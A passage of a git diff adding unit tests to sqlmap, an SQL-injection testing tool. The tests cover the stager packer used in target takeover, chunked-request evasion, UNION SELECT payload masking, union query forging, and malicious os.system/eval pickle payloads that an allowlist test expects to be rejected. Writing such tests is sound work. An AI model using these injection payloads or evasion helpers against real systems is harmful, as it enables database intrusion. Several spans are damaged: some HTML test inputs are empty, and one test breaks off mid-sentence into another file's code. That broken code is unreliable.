META_REFRESH_REGEX + + +class TestCheckCharEncoding(unittest.TestCase): + def test_canonical_known(self): + for enc in ("utf-8", "windows-1252", "iso-8859-1", "ascii", "latin1"): + self.assertEqual(checkCharEncoding(enc, False), enc, msg="checkCharEncoding(%r)" % enc) + + def test_normalizes_aliases(self): + self.assertEqual(checkCharEncoding("UTF8", False), "utf8") + self.assertEqual(checkCharEncoding("us-ascii", False), "ascii") + + def test_unknown_is_none(self): + self.assertIsNone(checkCharEncoding("boguscharset123", False)) + + def test_none_is_none(self): + self.assertIsNone(checkCharEncoding(None, False)) + + +class TestBodyHints(unittest.TestCase): + def test_meta_charset(self): + self.assertEqual(extractRegexResult(META_CHARSET_REGEX, ''), "utf-8") + + def test_title(self): + self.assertEqual(extractRegexResult(HTML_TITLE_REGEX, "Login Page"), "Login Page") + + def test_meta_refresh_url(self): + self.assertEqual(extractRegexResult(META_REFRESH_REGEX, + ''), "/next") + + def test_no_match_is_none(self): + self.assertIsNone(extractRegexResult(HTML_TITLE_REGEX, "no title here")) + + +class TestParamToDict(unittest.TestCase): + # NOTE: GET parsing is covered in test_urls.py; here we only cover the COOKIE place, + # which uses a different (semicolon) delimiter and is a distinct code path. + def test_cookie_semicolon_delimited(self): + d = paramToDict(PLACE.COOKIE, "sid=abc; theme=dark") + self.assertEqual(d.get("sid"), "abc") + self.assertEqual(d.get("theme"), "dark") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_cloak.py b/tests/test_cloak.py new file mode 100644 index 00000000000..512f5dbcec3 --- /dev/null +++ b/tests/test_cloak.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +cloak / decloak (extra/cloak/cloak.py) - the zlib+XOR transform used to pack the +payload stager files (.py_) that sqlmap drops and unpacks on a target during +takeover/file-write. A broken round-trip here corrupts every deployed stager. + +decloak(cloak(x)) must be the identity for arbitrary bytes; pinned with known +vectors and a property sweep over random binary inputs. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +# cloak ships under extra/cloak (build-time + runtime stager packer) +sys.path.insert(0, os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "extra", "cloak")) +import cloak as C + +RND = random.Random(1234) + + +def _rand_bytes(n): + return bytes(bytearray(RND.randint(0, 255) for _ in range(n))) + + +class TestCloakRoundTrip(unittest.TestCase): + def test_known_payload(self): + data = b"print('stager')" + self.assertEqual(C.decloak(data=C.cloak(data=data)), data) + + def test_empty(self): + self.assertEqual(C.decloak(data=C.cloak(data=b"")), b"") + + def test_cloak_changes_bytes(self): + # cloak must actually transform (compress+xor), not pass through + data = b"A" * 64 + self.assertNotEqual(C.cloak(data=data), data) + + def test_cloak_compresses_compressible_input(self): + # highly-repetitive input must come out SMALLER (proves zlib is actually applied, + # not just an XOR-only obfuscation). NOTE: random/incompressible data would grow, + # so this assertion is only valid for compressible input. + data = b"A" * 1000 + self.assertLess(len(C.cloak(data=data)), len(data)) + + def test_property_random_binary(self): + for _ in range(500): + data = _rand_bytes(RND.randint(0, 200)) + self.assertEqual(C.decloak(data=C.cloak(data=data)), data, msg="cloak round-trip failed for %r" % data) + + def test_property_large(self): + for size in (1024, 8192, 65536): + data = _rand_bytes(size) + self.assertEqual(C.decloak(data=C.cloak(data=data)), data, msg="cloak round-trip failed at size %d" % size) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_common_helpers.py b/tests/test_common_helpers.py new file mode 100644 index 00000000000..a13dc451769 --- /dev/null +++ b/tests/test_common_helpers.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Assorted request-shaping helpers in lib/core/common.py: +chunkSplitPostData (HTTP chunked-transfer evasion), randomizeParameterValue +(tamper/cache-buster), getHostHeader (Host header derivation). + +chunkSplitPostData uses random chunk sizes, so its output is asserted +structurally (reassembles to the original, terminates correctly) rather than +byte-for-byte; randomizeParameterValue is asserted via its invariants. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import chunkSplitPostData, randomizeParameterValue, getHostHeader + + +def _dechunk(data): + """Reassemble an HTTP/1.1 chunked body back into its payload.""" + out = [] + i = 0 + while i < len(data): + nl = data.index("\r\n", i) + size = int(data[i:nl].split(";")[0], 16) # size; optional chunk-extension + start = nl + 2 + out.append(data[start:start + size]) + i = start + size + 2 # skip chunk data + trailing CRLF + if size == 0: + break + return "".join(out) + + +class TestChunkSplit(unittest.TestCase): + def test_reassembles_to_original(self): + for payload in ("a=1&b=2", "x" * 50, "single=value", ""): + self.assertEqual(_dechunk(chunkSplitPostData(payload)), payload, + msg="chunk reassembly failed for %r" % payload) + + def test_terminates_with_zero_chunk(self): + self.assertTrue(chunkSplitPostData("a=1&b=2").endswith("0\r\n\r\n")) + + +class TestRandomizeParameterValue(unittest.TestCase): + def test_length_preserved(self): + for v in ("abc123", "value", "42", "MixedCASE99"): + self.assertEqual(len(randomizeParameterValue(v)), len(v), msg="length changed for %r" % v) + + def test_char_class_preserved(self): + # letters stay letters, digits stay digits (positionally) + src = "abc123XYZ789" + out = randomizeParameterValue(src) + for a, b in zip(src, out): + self.assertEqual(a.isdigit(), b.isdigit(), msg="char class changed: %r -> %r" % (a, b)) + self.assertEqual(a.isalpha(), b.isalpha(), msg="char class changed: %r -> %r" % (a, b)) + + +class TestGetHostHeader(unittest.TestCase): + def test_with_port(self): + self.assertEqual(getHostHeader("http://h:8080/p"), "h:8080") + + def test_without_port(self): + self.assertEqual(getHostHeader("http://example.com/path"), "example.com") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_comparison.py b/tests/test_comparison.py new file mode 100644 index 00000000000..5f361e21ce3 --- /dev/null +++ b/tests/test_comparison.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The true/false/None response oracle (lib/request/comparison.py). + +The seqMatcher ratio path needs a live page template and is intentionally left +to --vuln. What IS pure and worth pinning here is the short-circuit decision +table: --string / --not-string / --regexp / --code matching, and the _adjust() +negative-logic flip. These are the rules that decide whether a payload counts +as True, and they are easy to break with a refactor. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.comparison import comparison, _adjust +from lib.core.common import removeReflectiveValues +from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.data import conf, kb + + +def _reset_match_conf(): + conf.string = conf.notString = conf.regexp = conf.code = None + + +class TestStringMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_string_present_is_true(self): + conf.string = "WELCOME" + self.assertTrue(comparison("xx WELCOME yy", None, code=200)) + + def test_string_absent_is_false(self): + conf.string = "WELCOME" + self.assertFalse(comparison("nothing here", None, code=200)) + + +class TestRegexpMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_regexp_match_is_true(self): + conf.regexp = "id=\\d+" + self.assertTrue(comparison("user id=42 ok", None, code=200)) + + def test_regexp_nomatch_is_false(self): + conf.regexp = "id=\\d+" + self.assertFalse(comparison("user name", None, code=200)) + + +class TestCodeMatch(unittest.TestCase): + def setUp(self): + _reset_match_conf() + kb.negativeLogic = False + + def tearDown(self): + _reset_match_conf() + + def test_code_match_is_true(self): + conf.code = 200 + self.assertTrue(comparison("body", None, code=200)) + + def test_code_mismatch_is_false(self): + conf.code = 200 + self.assertFalse(comparison("body", None, code=404)) + + +class TestAdjustNegativeLogic(unittest.TestCase): + """_adjust flips the condition under negative logic (the raw-page scheme), + but leaves None untouched and never flips when getRatioValue is requested.""" + + def setUp(self): + _reset_match_conf() # negative logic only applies with no string/regexp/code set + + def tearDown(self): + _reset_match_conf() + kb.negativeLogic = False + + def test_plain_passthrough(self): + kb.negativeLogic = False + self.assertEqual(_adjust(True, False), True) + self.assertEqual(_adjust(False, False), False) + + def test_negative_logic_flips(self): + kb.negativeLogic = True + self.assertEqual(_adjust(True, False), False) + self.assertEqual(_adjust(False, False), True) + + def test_negative_logic_leaves_none(self): + kb.negativeLogic = True + self.assertIsNone(_adjust(None, False)) + + +class TestRemoveReflectiveValues(unittest.TestCase): + """Reflected payloads are masked before comparison so a page echoing the + injected string isn't mistaken for a True/different response. Note: the + masking engages for *bordered* payloads (containing non-alpha chars), which + is what real injection payloads look like.""" + + def test_reflected_payload_is_masked(self): + out = removeReflectiveValues(u"id=1 UNION SELECT 1,2,3 end", u"1 UNION SELECT 1,2,3") + self.assertIn(REFLECTED_VALUE_MARKER, out) + self.assertNotIn(u"UNION SELECT 1,2,3", out) + + def test_not_reflected_unchanged(self): + content = u"nothing reflected here" + self.assertEqual(removeReflectiveValues(content, u"1 AND 1=1"), content) + + def test_none_payload_unchanged(self): + content = u"id=1 AND 1=1 end" + self.assertEqual(removeReflectiveValues(content, None), content) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_convert.py b/tests/test_convert.py new file mode 100644 index 00000000000..218b4a693a3 --- /dev/null +++ b/tests/test_convert.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Encoding / decoding / serialization round-trips and known vectors. +Covers: hex, base64 (std + url-safe), DBMS hex decode, byte<->text conversion, +JSON (de)serialization, restricted base64-pickle. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.convert import (decodeHex, encodeHex, decodeBase64, encodeBase64, + getBytes, getText, getUnicode, getOrds, + jsonize, dejsonize, base64pickle, base64unpickle) +from lib.core.common import decodeDbmsHexValue +from lib.core.enums import DBMS + +RND = random.Random(0xC0FFEE) + + +def _rand_bytes(maxlen=48): + return bytes(bytearray(RND.randint(0, 255) for _ in range(RND.randint(0, maxlen)))) + + +class TestHex(unittest.TestCase): + def test_known_vectors(self): + self.assertEqual(decodeHex("31323334", binary=True), b"1234") + self.assertEqual(getText(encodeHex(b"1234", binary=False)), "31323334") + + def test_roundtrip_property(self): + for _ in range(3000): + raw = _rand_bytes() + self.assertEqual(decodeHex(encodeHex(raw, binary=False), binary=True), raw) + + +class TestBase64(unittest.TestCase): + def test_known_vectors(self): + self.assertEqual(decodeBase64("MTIz", binary=True), b"123") + self.assertEqual(decodeBase64("MTIzNA", binary=True), b"1234") # missing padding + self.assertEqual(decodeBase64("MTIzNA==", binary=True), b"1234") + self.assertEqual(getText(encodeBase64(b"123", binary=False)), "MTIz") + # url-safe and standard alphabets must decode equivalently + self.assertEqual(decodeBase64("A-B_CDE", binary=True), decodeBase64("A+B/CDE", binary=True)) + + def test_roundtrip_property(self): + for _ in range(3000): + raw = _rand_bytes() + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True), binary=True), raw) + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True, safe=True), binary=True), raw) + self.assertEqual(decodeBase64(encodeBase64(raw, binary=True, padding=False), binary=True), raw) + + +class TestDecodeDbmsHexValue(unittest.TestCase): + # authoritative vectors taken from the function's own doctests + def test_known_vectors(self): + self.assertEqual(decodeDbmsHexValue("3132332031"), u"123 1") + self.assertEqual(decodeDbmsHexValue("31003200330020003100"), u"123 1") # utf-16-le shaped + self.assertEqual(decodeDbmsHexValue("00310032003300200031"), u"123 1") # utf-16-be shaped + self.assertEqual(decodeDbmsHexValue("0x31003200330020003100"), u"123 1") + self.assertEqual(decodeDbmsHexValue("313233203"), u"123 ?") # odd length + self.assertEqual(decodeDbmsHexValue(["0x31", "0x32"]), [u"1", u"2"]) # list input + + def test_ascii_roundtrip_property(self): + for _ in range(1000): + s = "".join(chr(RND.randint(0x20, 0x7e)) for _ in range(RND.randint(1, 30))) + if len(s) % 2 == 0: # avoid the deliberate odd-length '?' behavior + self.assertEqual(decodeDbmsHexValue(getText(encodeHex(getBytes(s), binary=False))), s) + + +class TestByteTextConversion(unittest.TestCase): + def test_ascii_roundtrip(self): + for _ in range(1000): + s = u"".join(unichr(RND.randint(0x20, 0x7e)) if sys.version_info[0] < 3 else chr(RND.randint(0x20, 0x7e)) for _ in range(RND.randint(0, 30))) + self.assertEqual(getUnicode(getBytes(s)), s) + + def test_unicode_roundtrip(self): + samples = [u"café", u"你好", u"\U0001F600", u"a’b™c"] + for s in samples: + self.assertEqual(getUnicode(getBytes(s)), s) + + def test_getords(self): + self.assertEqual(getOrds(b"AB"), [65, 66]) + + +class TestJson(unittest.TestCase): + def test_roundtrip(self): + for obj in [{"a": 1, "b": [1, 2, 3]}, [1, "x", None], {"nested": {"k": "v"}}, "str", 123]: + self.assertEqual(dejsonize(jsonize(obj)), obj) + + def test_jsonize_produces_text_not_identity(self): + # anchor: jsonize must serialize to a JSON string, not pass the object through + out = jsonize({"a": 1}) + self.assertIsInstance(out, str) + self.assertIn('"a"', out) + self.assertEqual(jsonize(123), "123") # int -> textual "123" + + +class TestBase64Pickle(unittest.TestCase): + # Types sqlmap actually serializes (injection objects, cached values, BigArray). + def test_roundtrip_allowed_types(self): + for obj in [[1, 2, 3], {"a": 1}, (1, 2), "text", 42, 3.14, True, None, {"k": [1, {"n": "v"}]}]: + self.assertEqual(base64unpickle(base64pickle(obj)), obj) + + # REGRESSION: under Python 3 + PICKLE_PROTOCOL=2 a raw `bytes` value is pickled via the + # `_codecs.encode` global. The RestrictedUnpickler allowlist (patch.py) once rejected that, + # so any serialized session value containing bytes failed to load on py3. The fix allows + # exactly `_codecs.encode` (a benign codec call). Bytes MUST round-trip on both py2 and py3. + def test_bytes_roundtrip(self): + for raw in [b"x", b"\x00\x01\xff", b"\xde\xad\xbe\xef"]: + self.assertEqual(base64unpickle(base64pickle(raw)), raw, msg="bytes round-trip %r" % raw) + + def test_bytes_nested_in_container_roundtrip(self): + for obj in [{"a": b"bytes"}, [b"ab", "s", 1, None], ("t", b"\xde\xad")]: + self.assertEqual(base64unpickle(base64pickle(obj)), obj, msg="nested-bytes round-trip %r" % (obj,)) + + def test_dangerous_globals_still_blocked(self): + # bootstrap() installs sqlmap's RestrictedUnpickler over pickle.loads. These are VALID + # pickles that reference os.system / builtins.eval - stdlib would import them happily; the + # allowlist must reject them. Assert the SPECIFIC "forbidden" ValueError (not just any + # error) so the test proves the allowlist fired, not that the bytes failed to parse. + import pickle + for payload in (b"cos\nsystem\n.", b"c__builtin__\neval\n."): + try: + pickle.loads(payload) + self.fail("dangerous global was NOT blocked: %r" % payload) + except ValueError as ex: + self.assertIn("forbidden", str(ex), msg="unexpected error for %r: %s" % (payload, ex)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_datafiles.py b/tests/test_datafiles.py new file mode 100644 index 00000000000..9308bb34953 --- /dev/null +++ b/tests/test_datafiles.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Repo / data-file invariants - the cheap structural guards that catch whole +bug classes seen this session: tamper contract, per-DBMS query-tag coverage, +errors.xml regex compilation, XML well-formedness, and source ASCII-safety +(the py2 'no coding header' constraint). +""" + +import os +import re +import sys +import glob +import importlib +import unittest +import xml.etree.ElementTree as ET + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, ROOT +bootstrap() + + +class TestTamperContract(unittest.TestCase): + def test_every_tamper_has_contract(self): + names = [os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")] + self.assertGreater(len(names), 50) # sanity: we expect ~70 + for name in names: + mod = importlib.import_module("tamper.%s" % name) + self.assertTrue(callable(getattr(mod, "tamper", None)), msg="%s: no tamper()" % name) + self.assertTrue(hasattr(mod, "__priority__"), msg="%s: no __priority__" % name) + # dependencies() is OPTIONAL (e.g. randomcomments omits it); if present it must be callable + dep = getattr(mod, "dependencies", None) + self.assertTrue(dep is None or callable(dep), msg="%s: non-callable dependencies" % name) + + def test_every_tamper_priority_is_valid(self): + # __priority__ must be one of the PRIORITY enum values (or None) - a typo'd priority + # silently mis-orders the tamper chain (_setTamperingFunctions sorts on it) + from lib.core.enums import PRIORITY + valid = set(v for n, v in vars(PRIORITY).items() if not n.startswith("_")) + names = [os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")] + for name in names: + mod = importlib.import_module("tamper.%s" % name) + priority = getattr(mod, "__priority__", None) + self.assertTrue(priority is None or priority in valid, + msg="%s: __priority__ %r is not a PRIORITY value" % (name, priority)) + + +class TestQueriesXmlCoverage(unittest.TestCase): + CORE_TAGS = ("cast", "substring", "length", "count", "inference", "comment") + + def test_every_dbms_has_core_tags(self): + tree = ET.parse(os.path.join(ROOT, "data", "xml", "queries.xml")) + dbmses = tree.findall(".//dbms") + self.assertGreaterEqual(len(dbmses), 25) + for dbms in dbmses: + present = set(child.tag for child in dbms.iter()) + missing = [t for t in self.CORE_TAGS if t not in present] + self.assertEqual(missing, [], msg="%s missing core tags: %s" % (dbms.get("value"), missing)) + + +class TestErrorsXmlCompile(unittest.TestCase): + def test_all_error_regexes_compile(self): + tree = ET.parse(os.path.join(ROOT, "data", "xml", "errors.xml")) + regexes = [e.get("regexp") for e in tree.findall(".//error")] + self.assertGreater(len(regexes), 100) + for rgx in regexes: + try: + re.compile(rgx) + except re.error as ex: + self.fail("errors.xml regex does not compile: %r (%s)" % (rgx, ex)) + + +class TestXmlWellFormed(unittest.TestCase): + def test_core_xml_parses(self): + for rel in ("queries.xml", "boundaries.xml", "errors.xml", + os.path.join("payloads", "boolean_blind.xml"), + os.path.join("payloads", "union_query.xml")): + path = os.path.join(ROOT, "data", "xml", rel) + ET.parse(path) # raises on malformed + + +class TestSourceAsciiSafety(unittest.TestCase): + # sqlmap source files carry NO coding header, so any non-ASCII byte breaks py2 parsing. + # This guards the exact regression introduced (and fixed) earlier this session. + CODING_RE = re.compile(b"coding[:=]\\s*([-\\w.]+)") + + def test_lib_and_plugins_are_ascii(self): + offenders = [] + for base in ("lib", "plugins"): + for path in glob.glob(os.path.join(ROOT, base, "**", "*.py"), recursive=True) if sys.version_info >= (3, 5) \ + else self._walk(os.path.join(ROOT, base)): + with open(path, "rb") as f: + head = f.read(256) + data = head + f.read() + if self.CODING_RE.search(head): # explicit coding header -> non-ASCII allowed + continue + try: + data.decode("ascii") + except UnicodeDecodeError: + offenders.append(os.path.relpath(path, ROOT)) + self.assertEqual(offenders, [], msg="non-ASCII source w/o coding header (breaks py2): %s" % offenders) + + @staticmethod + def _walk(top): + for dirpath, _, files in os.walk(top): + for fn in files: + if fn.endswith(".py"): + yield os.path.join(dirpath, fn) + + +class TestSettingsIntegrity(unittest.TestCase): + def test_milestone_and_version(self): + from lib.core.settings import HASHDB_MILESTONE_VALUE, VERSION + self.assertTrue(HASHDB_MILESTONE_VALUE) + self.assertTrue(re.match(r"^\d+\.\d+\.\d+", VERSION), msg="unexpected VERSION %r" % VERSION) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_datatypes.py b/tests/test_datatypes.py new file mode 100644 index 00000000000..0bdb18a0059 --- /dev/null +++ b/tests/test_datatypes.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core data structures: AttribDict, OrderedSet, LRUDict, BigArray. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.datatype import AttribDict, OrderedSet, LRUDict +from lib.core.bigarray import BigArray + + +class TestAttribDict(unittest.TestCase): + def test_attr_access(self): + a = AttribDict({"x": 1}) + self.assertEqual(a.x, 1) + a.y = 2 + self.assertEqual(a["y"], 2) + self.assertEqual(a.get("missing", "def"), "def") + + def test_missing_attr_raises(self): + a = AttribDict() + self.assertRaises(AttributeError, lambda: a.nope) + + +class TestOrderedSet(unittest.TestCase): + def test_order_and_dedup(self): + s = OrderedSet() + for v in [3, 1, 3, 2, 1, 2]: + s.add(v) + self.assertEqual(list(s), [3, 1, 2]) + self.assertIn(2, s) + self.assertNotIn(9, s) + self.assertEqual(len(s), 3) + + +class TestLRUDict(unittest.TestCase): + def test_capacity_eviction(self): + l = LRUDict(capacity=2) + l["a"] = 1 + l["b"] = 2 + _ = l["a"] # touch 'a' so 'b' becomes least-recently-used + l["c"] = 3 # evicts 'b' + self.assertEqual(sorted(l.keys()), ["a", "c"]) + self.assertNotIn("b", l) + + def test_values_retained(self): + l = LRUDict(capacity=3) + for i, k in enumerate("abc"): + l[k] = i + self.assertEqual(l["a"], 0) + self.assertEqual(l["c"], 2) + + def test_capacity_one(self): + # extreme: each write evicts the previous key + l = LRUDict(capacity=1) + l["x"] = 1 + l["y"] = 2 + self.assertNotIn("x", l) + self.assertEqual(l["y"], 2) + self.assertEqual(list(l.keys()), ["y"]) + + +class TestBigArray(unittest.TestCase): + def test_basic_ops(self): + b = BigArray() + for i in range(50): + b.append(i) + self.assertEqual(len(b), 50) + self.assertEqual(b[0], 0) + self.assertEqual(b[49], 49) + self.assertEqual(b[-1], 49) # negative indexing + self.assertEqual(list(b)[:3], [0, 1, 2]) + + def test_empty_index_raises(self): + self.assertRaises(IndexError, lambda: BigArray()[0]) + + def test_roundtrip_values(self): + b = BigArray() + data = list(range(100)) + for v in data: + b.append(v) + self.assertEqual([b[i] for i in range(len(b))], data) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_decodepage.py b/tests/test_decodepage.py new file mode 100644 index 00000000000..01eb899c468 --- /dev/null +++ b/tests/test_decodepage.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +HTTP response decoding (lib/request/basic.py decodePage). + +Every fetched page passes through decodePage: it inflates gzip/deflate bodies, +applies the charset, and guards against decompression bombs. A regression here +silently corrupts every response sqlmap compares, so the round-trips and the +malformed-input handling are pinned here. +""" + +import gzip +import io +import os +import sys +import unittest +import zlib + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.basic import decodePage +from lib.core.exception import SqlmapCompressionException + +BODY = b"Hello plain body content 12345 - no markup here" + + +def _gzip(data): + buf = io.BytesIO() + f = gzip.GzipFile(fileobj=buf, mode="wb") + f.write(data) + f.close() + return buf.getvalue() + + +def _raw_deflate(data): + # decodePage uses zlib.decompressobj(-15) => raw deflate (no zlib header) + co = zlib.compressobj(6, zlib.DEFLATED, -zlib.MAX_WBITS) + return co.compress(data) + co.flush() + + +class TestDecompression(unittest.TestCase): + def test_gzip_roundtrip(self): + # exact equality (not just substring): the whole body must decompress unchanged + out = decodePage(_gzip(BODY), "gzip", "text/html; charset=utf-8") + self.assertEqual(out, BODY.decode("utf-8")) + + def test_deflate_roundtrip(self): + out = decodePage(_raw_deflate(BODY), "deflate", "text/html") + self.assertEqual(out, BODY.decode("utf-8")) + + def test_identity_passthrough(self): + out = decodePage(BODY, None, "text/html") + self.assertEqual(out, BODY.decode("utf-8")) + # the exact-equality assertions above already imply a unicode return; a separate + # type-only test would be redundant. + + +class TestCharset(unittest.TestCase): + def test_utf8_decoded_to_unicode(self): + # several distinct multi-byte sequences (2/3/4-byte) must all decode intact + original = u"café — 你好 \U0001f512" + out = decodePage(original.encode("utf-8"), None, "text/html; charset=utf-8") + self.assertEqual(out, original) + + +class TestMalformed(unittest.TestCase): + def test_invalid_deflate_raises(self): + # zlib.compress() adds a 2-byte zlib header that raw-deflate decode rejects; + # body has no " the real column is slotted at index 1, NULLs elsewhere + set_dbms(DBMS.MYSQL) + q = agent.forgeUnionQuery("SELECT a FROM t", 1, 3, None, "", "", "NULL", None) + self.assertEqual(q, " UNION ALL SELECT NULL,a,NULL FROM t") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_dicts.py b/tests/test_dicts.py new file mode 100644 index 00000000000..a714956f1de --- /dev/null +++ b/tests/test_dicts.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Structural invariants of the data-mapping tables in lib/core/dicts.py. + +These tables drive DBMS recognition, connector selection, dummy-table dialect, +and dump formatting. They are pure data, so the right tests are shape/coverage +invariants: every back-end has a connector entry, alias lists are well-formed, +and the dialect maps carry the values the engine expects. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core import dicts +from lib.core.enums import DBMS +from lib.core.common import getPublicTypeMembers + + +class TestDbmsDict(unittest.TestCase): + def test_every_dbms_enum_has_connector_entry(self): + # DBMS_DICT keys must cover every public DBMS enum value + enum_values = set(v for _, v in getPublicTypeMembers(DBMS)) + missing = enum_values - set(dicts.DBMS_DICT.keys()) + self.assertEqual(missing, set(), msg="DBMS without DBMS_DICT entry: %s" % missing) + + def test_entry_shape(self): + # each entry: (aliases-tuple, connector-name, connector-url, sqlalchemy-dialect) + self.assertGreaterEqual(len(dicts.DBMS_DICT), 25, msg="DBMS_DICT suspiciously small") + for name, entry in dicts.DBMS_DICT.items(): + self.assertEqual(len(entry), 4, msg="malformed DBMS_DICT entry for %s" % name) + aliases = entry[0] + self.assertIsInstance(aliases, (tuple, list), msg="aliases not list-like for %s" % name) + self.assertGreaterEqual(len(aliases), 1, msg="no aliases for %s" % name) + for a in aliases: # per-item, so a failure names the offending alias + self.assertIsInstance(a, str, msg="non-str alias %r for %s" % (a, name)) + + def test_aliases_are_lowercase(self): + for name, entry in dicts.DBMS_DICT.items(): + for alias in entry[0]: + self.assertEqual(alias, alias.lower(), msg="alias %r (for %s) is not lowercase" % (alias, name)) + + +class TestFromDummyTable(unittest.TestCase): + def test_oracle_uses_dual(self): + self.assertEqual(dicts.FROM_DUMMY_TABLE[DBMS.ORACLE], " FROM DUAL") + + def test_mysql_has_no_dummy_table(self): + # MySQL allows a bare SELECT, so it must NOT appear here + self.assertNotIn(DBMS.MYSQL, dicts.FROM_DUMMY_TABLE) + + def test_values_start_with_from(self): + # strict: must be (optional leading space) FROM
- + # not just startswith("FROM"), which would accept "FROMX" or a bare "FROM" + for name, clause in dicts.FROM_DUMMY_TABLE.items(): + self.assertTrue(re.match(r"^\s*FROM\s+\S", clause.upper()), + msg="FROM_DUMMY_TABLE[%s]=%r is not a well-formed FROM clause" % (name, clause)) + + +class TestSqlStatements(unittest.TestCase): + def test_known_categories_present(self): + for category in ("SQL data definition", "SQL data manipulation", "SQL data control"): + self.assertIn(category, dicts.SQL_STATEMENTS, msg="missing SQL_STATEMENTS category %r" % category) + + def test_keywords_are_lowercase_tokens(self): + for category, keywords in dicts.SQL_STATEMENTS.items(): + self.assertTrue(len(keywords) >= 1, msg="empty category %r" % category) + for kw in keywords: + self.assertEqual(kw, kw.lower(), msg="keyword %r in %r not lowercase" % (kw, category)) + + +class TestDumpReplacements(unittest.TestCase): + def test_markers(self): + self.assertEqual(dicts.DUMP_REPLACEMENTS.get(""), "") + self.assertEqual(dicts.DUMP_REPLACEMENTS.get(" "), "NULL") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_encoding.py b/tests/test_encoding.py new file mode 100644 index 00000000000..f6fcd41744a --- /dev/null +++ b/tests/test_encoding.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core text<->bytes conversions (lib/core/convert.py): getBytes, getUnicode, +getText. (getOrds is covered in test_convert.py.) + +These are called on essentially every request and response, on both Python 2 +and 3, and are the main thing standing between sqlmap and a UnicodeDecodeError +mid-scan. Pinned with known vectors, non-string coercion, and an encoding +round-trip property over multiple charsets. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.convert import getBytes, getUnicode, getText + +RND = random.Random(2024) + + +class TestTypes(unittest.TestCase): + # value+type (not type alone): a stub returning b"" would pass an isinstance-only check, and + # on py3 a getBytes that wrongly returned str would slip past a round-trip on the unicode path + def test_getBytes_returns_bytes(self): + out = getBytes(u"abc") + self.assertIsInstance(out, bytes) + self.assertEqual(out, b"abc") + + def test_getUnicode_returns_unicode(self): + out = getUnicode(b"abc") + self.assertIsInstance(out, type(u"")) + self.assertEqual(out, u"abc") + + def test_getText_returns_native_str(self): + self.assertIsInstance(getText(b"abc"), str) + self.assertEqual(getText(b"abc"), "abc") + + +class TestCoercion(unittest.TestCase): + def test_getUnicode_of_number(self): + self.assertEqual(getUnicode(123), u"123") + + +class TestRoundTrip(unittest.TestCase): + def test_known_utf8(self): + self.assertEqual(getUnicode(getBytes(u"caf\xe9", "utf-8"), "utf-8"), u"caf\xe9") + + def test_property_multi_charset(self): + # printable BMP-ish range, round-trip through utf-8 and 